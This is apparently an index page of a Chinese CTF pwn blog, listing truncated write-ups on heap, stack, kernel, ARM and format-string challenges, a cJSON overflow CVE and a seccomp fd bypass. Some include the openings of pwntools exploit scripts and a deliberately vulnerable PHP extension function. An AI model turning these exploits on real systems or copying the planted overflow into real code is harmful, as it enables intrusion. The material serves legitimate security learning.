【WP】2021SCTF复现
dataleak给的共享库是libcjson.so.1.7.10https://github.com/DaveGamble/cJSON/releases看到1.7.11版本修复了缓冲区溢出漏洞 对应CVE-2019-11834
源码123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869CJSON_PUBLIC(void) cJSON_Minify(char *json){ unsigned char *into = (unsigned char*)json; if (json == NULL) { return; } while (*json) { if (*json == ' ') { json++; ...
Phppwn浅浅探
环境搭建参考链接写的蛮详细了,略去这部分
其中源码的下载我用的是`wget https://www.php.net/distributions/php-7.2.24.tar.gz
测试写的函数123456789101112PHP_FUNCTION(easy_phppwn){ char *arg = NULL; size_t arg_len, len; char buf[100]; if(zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE){ return; } memcpy(buf, arg, arg_len); php_printf("phppwn extension function\n"); return SUCCESS;}
zend_parse_parameters是zend引擎解析我们使用php调用该函数时传入的字符串,s代表以字符串形式解析,&arg是参数的地址,&n是 ...
浅学Kernelpwn
CISCN2017-babydriver分析把驱动拖进IDA查看
结构体babydevice_t有两个变量buf和buf_len
123456700000000 babydevice_t struc ; (sizeof=0x10, align=0x8, copyof_429)00000000 ; XREF: .bss:babydev_struct/r00000000 device_buf dq ? ; XREF: babyrelease+6/r00000000 ; babyopen+26/w ... ; offset00000008 device_buf_len dq ? ; XREF: babyopen+2D/w00000008 ; babyioctl+3 ...
ARM入门练习
做了几道简单的ARM架构题64位栈溢出主要是利用csu中的gadget控制执行流堆题感觉和x86/x64差别不大,但是调试挺麻烦的,无法一键查看heap和bin的情况,只能找地址嗯调
另外跟谢哥学了一手把要在gdb-mutiarch执行的命令写到文件里,然后在gdbinit里source写了命令的文件,这样调试就方便了很多
TSCTF2020-HelloArm泄露基址,orw读flag不过在用gdb-multiarch调试的时候发现开flag对应的fd是7。关掉直接跑就又正常是3了.
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667from pwn import *import syscontext.log_level = 'debug'context.arch = 'aarch64'Debug = 1elf = ELF('./Hello ...
【WP】天翼杯pwn
记录学习一下。
chaos逆完code是个简单的堆溢出,改size造unsorted bin拿基址,tcache打freehook即可
exp1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253from pwn import*context(os='linux', arch='amd64', log_level='debug')#sh = remote('8.134.37.86',22210)sh = process('./chall')libc = ELF('./libc-2.27.so')def create(size, content): code ='''opcode:1\npasswd:Cr4at3x\n\n''' sh.sendafter('> ...
【WP】羊城杯pwn题
Babyrop栈溢出,先利用函数对bss段上/cin/sh异或成为/bin/sh,然后利用system执行system("/bin/sh")
exp1234567891011121314151617from pwn import*context(os='linux', arch='i386', log_level='debug')#r = process('./BabyRop')r = remote('192.168.38.235', 11000)elf = ELF('./BabyRop')puts_plt = elf.plt['puts']puts_got = elf.got['puts']sys_plt = elf.plt['system']fun2 = 0x080491FDmain_addr = 0x0804926Bpayload = b'A'*0x28+b ...
【WP】祥云杯初赛部分pwn
notehouse of orange + 格式化字符串
第一次见到scanf造成的格式化字符串漏洞,以往的例子看到的都是printf。不过核心的思想是相同的:
可以指定参数
对%n都有写入的功能
对于%s,scanf是输入,printf是输出。所以在scanf中可以利用指定参数配合%s实现任意地址写,比%n更加自由,相对的在printf中往往利用指定参数配合%s实现任意地址读。
另外在发现利用scanf配合%n修改字节的时候需要再次输入与要修改的字节数目相等的字符才算结束(猜测可能与scanf函数指定输入字节个数有关系)(嗯调发现的规律,运气真好)
exp1格式化字符串改小top chunkhouse of orange 泄露基址格式化字符串往realloc_hook写one_gadget地址,往malloc_hook写realloc+12地址,调整栈桢打通。比赛时对scanf中的格式化字符串漏洞理解的不到位,还用的是函数生成的%n的方法进行改写,其实整复杂了,走远了。
1234567891011121314151617181920212223242526272829303132 ...
【WP】蓝帽杯决赛pwn复现
secretcode这题实在被自己蠢到了。。调半天一直进不去异常处理,最后发现是自己的io交互写的不严谨,算是个教训吧。不过也学到了一点沙盒和汇编的知识。
题目
开了沙箱
限制了只能使用open和read这两个系统调用且对文件描述符也进行了限制。但这里存在绕过,因为真正使用read时,fd为int类型只使用rdi的低32位,只要设置rdi高32位大于0即可绕过seccomp的过滤。也就是说read(0x100000003)实际上达到read(3)的效果。
程序读入0x40字节数据,利用strcpy复制到rwx的内存处然后执行
做法利用open打开flag文件read将flag读到栈上爆破,cmp指令比较字符是否相等,若相等则进入死循环,不产生异常将比对的字符加入flag,不相等则炸掉换一个字符继续比较。
exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566from pwn import * ...
LargeBin_Attack
背景知识12345#define NBINS 128#define NSMALLBINS 64#define SMALLBIN_WIDTH MALLOC_ALIGNMENT#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
MALLOC_ALIGNMENT等于SIZE_SZ,即系统位数乘以2,64位即0x8*2=0x10,32位为0x4*2=0x8largebin最小为(64-0)*0x10=0x400
large bin中一共63个bin,每个bin中的chunk大小不一致,而是处于一定区间范围内。这63个bin被分成了6组,每组bin中的chunk之间的公差一致。large bin采取了分段的存储,比如第一个范围就是0x400到0xc00(48<<6),其中每个链表之间差0x40(1<&l ...
【WP】Rarctf2021-Pwn题
archer输入的v1对应%p,直接输16进制动调发现是add rax, 0x500000需要让v1指向codegetshell0x404068-0x500000=0xFFFFFFFFFFF04068计算得到输入的内容应该为FFFFFFFFFFF04068
直接nc输入就行
rarctf{sw33t_sh0t!_1nt3g3r_0v3rfl0w_r0cks!_170b2820c9}
ret2winRaRs直接溢出返回到后门即可
不过本题环境为ubuntu20.04,碰到了栈桢平衡的问题当返回地址直接为后门地址时会crash报错而覆盖为后门地址+1后则正常执行
其根本原因在于,do_system函数中指令movaps xmmword ptr [rsp+0x50], xmm0要求16字节对齐(a表示align),如下图所示
当返回地址为后门地址不加1时,可见rsp+0x50处的值不满足要求,故程序crash加1后即可
(参考buu FAQ里Ex师傅的博客)
exp12345678from pwn import*#r = process('./ret2winra ...







